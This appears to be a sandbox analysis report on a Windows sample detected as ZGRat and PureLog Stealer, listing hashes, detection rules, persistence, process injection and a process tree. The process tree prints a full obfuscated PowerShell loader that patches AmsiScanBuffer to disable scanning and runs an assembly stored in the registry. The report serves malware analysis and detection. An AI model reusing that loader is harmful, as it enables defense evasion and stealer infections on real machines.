Analysis
- max time kernel
85s - max time network
85s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
05/04/2024, 01:20
Behavioral task
behavioral1
Sample
5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe
Resource
win7-20240215-en
15 signatures
150 seconds
Behavioral task
behavioral2
Sample
5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe
Resource
win10v2004-20240226-en
14 signatures
150 seconds
General
- Target 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe
- Size 2.4MB
- Sample240405-bp6sgagh34
- SHA256 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665
- MD5 457c53a8c4076f6ad84b3df50eeaed40
- SHA1 04c1b0f70c1a4574474df56d5b2ef233ddcbe9eb
- SHA512 5bd2edb9faf83eed8456da6e3d2d948fe7dbbda821309a6465d330345fc3fd2c84e158fdff10f143a43e86b1d88a60ccc3ed70185652a14140e8498754b42253
- SSDEEP 49152:qLVfUh2tObNV72FN/J0PX6slSlrt1Vi4Nt1P9BCwB+RsEHU/nqBC:WVw2sbNVO/2PK7/1YYt1zGqEHU/oC
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Detect ZGRat V1 34 IoCs
resource yara_rule behavioral2/memory/3496-4-0x00000000063B0000-0x00000000065F0000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-7-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-8-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-10-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-12-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-14-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-16-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-20-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-18-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-22-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-24-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-26-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-28-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-30-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-32-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-36-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-40-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-44-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-42-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-38-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-34-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-46-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-48-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-50-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-52-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-54-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-56-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-58-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-60-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-64-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-66-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-62-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-68-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 behavioral2/memory/3496-70-0x00000000063B0000-0x00000000065EB000-memory.dmp family_zgrat_v1 - PureLog Stealer
PureLog Stealer is an infostealer written in C#.
- PureLog Stealer payload 2 IoCs
resource yara_rule behavioral2/memory/3496-0-0x0000000000290000-0x00000000004F2000-memory.dmp family_purelog_stealer behavioral2/files/0x0002000000021d05-4895.dat family_purelog_stealer - Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4960 created 616 4960 powershell.EXE 5 - Executes dropped EXE 2 IoCs
pid Process 856 $77dba6b1 3852 $77e6a046 - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77Pxxiy = "C:\\Users\\Admin\\AppData\\Roaming\\$77Pxxiy.exe" 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3496 set thread context of 856 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 97 PID 4960 set thread context of 2188 4960 powershell.EXE 100 PID 3496 set thread context of 3852 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 105 - Program crash 1 IoCs
pid pid_target Process procid_target 4312 3852 WerFault.exe 105 - Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4960 powershell.EXE 4960 powershell.EXE 4960 powershell.EXE 2188 dllhost.exe 2188 dllhost.exe 2188 dllhost.exe 2188 dllhost.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe Token: SeDebugPrivilege 4960 powershell.EXE Token: SeDebugPrivilege 4960 powershell.EXE Token: SeDebugPrivilege 2188 dllhost.exe Token: SeDebugPrivilege 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3496 wrote to memory of 856 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 97 PID 3496 wrote to memory of 856 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 97 PID 3496 wrote to memory of 856 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 97 PID 3496 wrote to memory of 856 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 97 PID 3496 wrote to memory of 856 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 97 PID 3496 wrote to memory of 856 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 97 PID 3496 wrote to memory of 856 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 97 PID 3496 wrote to memory of 856 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 97 PID 3496 wrote to memory of 856 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 97 PID 4960 wrote to memory of 2188 4960 powershell.EXE 100 PID 4960 wrote to memory of 2188 4960 powershell.EXE 100 PID 4960 wrote to memory of 2188 4960 powershell.EXE 100 PID 4960 wrote to memory of 2188 4960 powershell.EXE 100 PID 4960 wrote to memory of 2188 4960 powershell.EXE 100 PID 4960 wrote to memory of 2188 4960 powershell.EXE 100 PID 4960 wrote to memory of 2188 4960 powershell.EXE 100 PID 4960 wrote to memory of 2188 4960 powershell.EXE 100 PID 2188 wrote to memory of 616 2188 dllhost.exe 5 PID 2188 wrote to memory of 672 2188 dllhost.exe 7 PID 672 wrote to memory of 2688 672 lsass.exe 46 PID 2188 wrote to memory of 952 2188 dllhost.exe 12 PID 2188 wrote to memory of 1016 2188 dllhost.exe 13 PID 672 wrote to memory of 2688 672 lsass.exe 46 PID 3496 wrote to memory of 3852 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 105 PID 3496 wrote to memory of 3852 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 105 PID 3496 wrote to memory of 3852 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 105 PID 672 wrote to memory of 2688 672 lsass.exe 46 PID 2188 wrote to memory of 728 2188 dllhost.exe 14 PID 3496 wrote to memory of 3852 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 105 PID 3496 wrote to memory of 3852 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 105 PID 3496 wrote to memory of 3852 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 105 PID 3496 wrote to memory of 3852 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 105 PID 3496 wrote to memory of 3852 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 105 PID 3496 wrote to memory of 3852 3496 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe 105 PID 672 wrote to memory of 2688 672 lsass.exe 46 PID 2188 wrote to memory of 868 2188 dllhost.exe 15 PID 672 wrote to memory of 2688 672 lsass.exe 46 PID 2188 wrote to memory of 1072 2188 dllhost.exe 17 PID 672 wrote to memory of 2688 672 lsass.exe 46 PID 672 wrote to memory of 2688 672 lsass.exe 46 PID 672 wrote to memory of 2688 672 lsass.exe 46 PID 672 wrote to memory of 2688 672 lsass.exe 46 PID 672 wrote to memory of 2688 672 lsass.exe 46 PID 2188 wrote to memory of 1080 2188 dllhost.exe 18 PID 672 wrote to memory of 2688 672 lsass.exe 46 PID 2188 wrote to memory of 1120 2188 dllhost.exe 19 PID 2188 wrote to memory of 1224 2188 dllhost.exe 20 PID 2188 wrote to memory of 1252 2188 dllhost.exe 21 PID 2188 wrote to memory of 1324 2188 dllhost.exe 22 PID 2188 wrote to memory of 1340 2188 dllhost.exe 23 PID 2188 wrote to memory of 1348 2188 dllhost.exe 24 PID 2188 wrote to memory of 1436 2188 dllhost.exe 25 PID 2188 wrote to memory of 1532 2188 dllhost.exe 26 PID 2188 wrote to memory of 1564 2188 dllhost.exe 27 PID 2188 wrote to memory of 1576 2188 dllhost.exe 28 PID 2188 wrote to memory of 1640 2188 dllhost.exe 29 PID 2188 wrote to memory of 1732 2188 dllhost.exe 30 PID 2188 wrote to memory of 1772 2188 dllhost.exe 31 PID 2188 wrote to memory of 1800 2188 dllhost.exe 32 PID 2188 wrote to memory of 1880 2188 dllhost.exe 33 PID 2188 wrote to memory of 2016 2188 dllhost.exe 34 PID 2188 wrote to memory of 2036 2188 dllhost.exe 35 PID 2188 wrote to memory of 1540 2188 dllhost.exe 36 PID 2188 wrote to memory of 1652 2188 dllhost.exe 37
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1016
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{74d4e516-0af4-417a-902f-c612cfc3fc47}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2188
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:672
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:728
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc1⤵PID:868
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1072
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1080
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1120
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1224
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:GtwzJHdjeNSe{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$xvsgdmJAKALwLQ,[Parameter(Position=1)][Type]$TGYoKJPRSC)$xPiabzHhBiC=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+'e'+'d'+''+[Char](68)+''+'e'+'l'+'e'+''+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+'o'+'d'+'u'+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+'T'+[Char](121)+'pe','Clas'+[Char](115)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](101)+'a'+[Char](108)+''+'e'+''+'d'+',A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+',A'+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$xPiabzHhBiC.DefineConstructor(''+[Char](82)+'T'+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+'N'+''+'a'+''+[Char](109)+''+[Char](101)+''+','+''+'H'+'i'+[Char](100)+''+'e'+''+[Char](66)+'y'+'S'+''+'i'+''+'g'+',P'+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$xvsgdmJAKALwLQ).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+'e'+[Char](44)+''+'M'+''+'a'+''+[Char](110)+'a'+[Char](103)+'e'+'d'+'');$xPiabzHhBiC.DefineMethod('I'+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+',Hi'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+'w'+[Char](83)+'l'+'o'+''+[Char](116)+''+','+''+'V'+''+[Char](105)+'r'+[Char](116)+''+'u'+''+'a'+'l',$TGYoKJPRSC,$xvsgdmJAKALwLQ).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+'i'+'m'+'e'+','+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $xPiabzHhBiC.CreateType();}$GxYnhmhhQkgjy=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+'l'+'')}).GetType('M'+[Char](105)+'cro'+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+'et'+[Char](104)+'o'+[Char](100)+'s');$eLzDXHYCCfQdSk=$GxYnhmhhQkgjy.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](80)+''+[Char](114)+''+[Char](111)+'c'+'A'+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+'c'+[Char](44)+'S'+'t'+''+[Char](97)+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RTuePHcrznZBCSjvNJB=GtwzJHdjeNSe @([String])([IntPtr]);$atsSBaRmewHBcGQNAlbJUn=GtwzJHdjeNSe @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$znUDeebiped=$GxYnhmhhQkgjy.GetMethod(''+[Char](71)+'etMod'+[Char](117)+''+'l'+''+'e'+'H'+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('ker'+'n'+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+'d'+''+'l'+'l')));$fCDMNzREVseuDo=$eLzDXHYCCfQdSk.Invoke($Null,@([Object]$znUDeebiped,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$DtYGEUjuTWnrMMqWZ=$eLzDXHYCCfQdSk.Invoke($Null,@([Object]$znUDeebiped,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'tua'+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$oQUBQkr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fCDMNzREVseuDo,$RTuePHcrznZBCSjvNJB).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+'.'+'dl'+[Char](108)+'');$jygjRKhCLOjWgqGop=$eLzDXHYCCfQdSk.Invoke($Null,@([Object]$oQUBQkr,[Object]('A'+[Char](109)+'s'+'i'+''+'S'+''+[Char](99)+''+'a'+'n'+'B'+''+[Char](117)+'f'+[Char](102)+'e'+'r'+'')));$dGBgmeVhsl=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DtYGEUjuTWnrMMqWZ,$atsSBaRmewHBcGQNAlbJUn).Invoke($jygjRKhCLOjWgqGop,[uint32]8,4,[ref]$dGBgmeVhsl);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$jygjRKhCLOjWgqGop,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DtYGEUjuTWnrMMqWZ,$atsSBaRmewHBcGQNAlbJUn).Invoke($jygjRKhCLOjWgqGop,[uint32]8,0x20,[ref]$dGBgmeVhsl);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+'T'+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue('$'+[Char](55)+''+'7'+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4960
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1252
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1324
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1340
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1348
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1436
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1532
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:516
-
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:2264
-
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:2784
-
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:2600
-
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:4600
-
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:2412
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1564
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1576
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1640
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1732
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1772
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1800
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1880
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2016
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2036
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1540
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1652
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:1980
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2112
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2688
-
C:\Users\Admin\AppData\Local\Temp\5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe"C:\Users\Admin\AppData\Local\Temp\5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3496 -
C:\Users\Admin\AppData\Local\Temp\$77dba6b1"C:\Users\Admin\AppData\Local\Temp\$77dba6b1"2⤵
- Executes dropped EXE
PID:856
-
-
C:\Users\Admin\AppData\Local\Temp\$77e6a046"C:\Users\Admin\AppData\Local\Temp\$77e6a046"2⤵
- Executes dropped EXE
PID:3852 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 3163⤵
- Program crash
PID:4312
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3852 -ip 38521⤵PID:4088
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\$77dba6b1
- Size 2.4MB
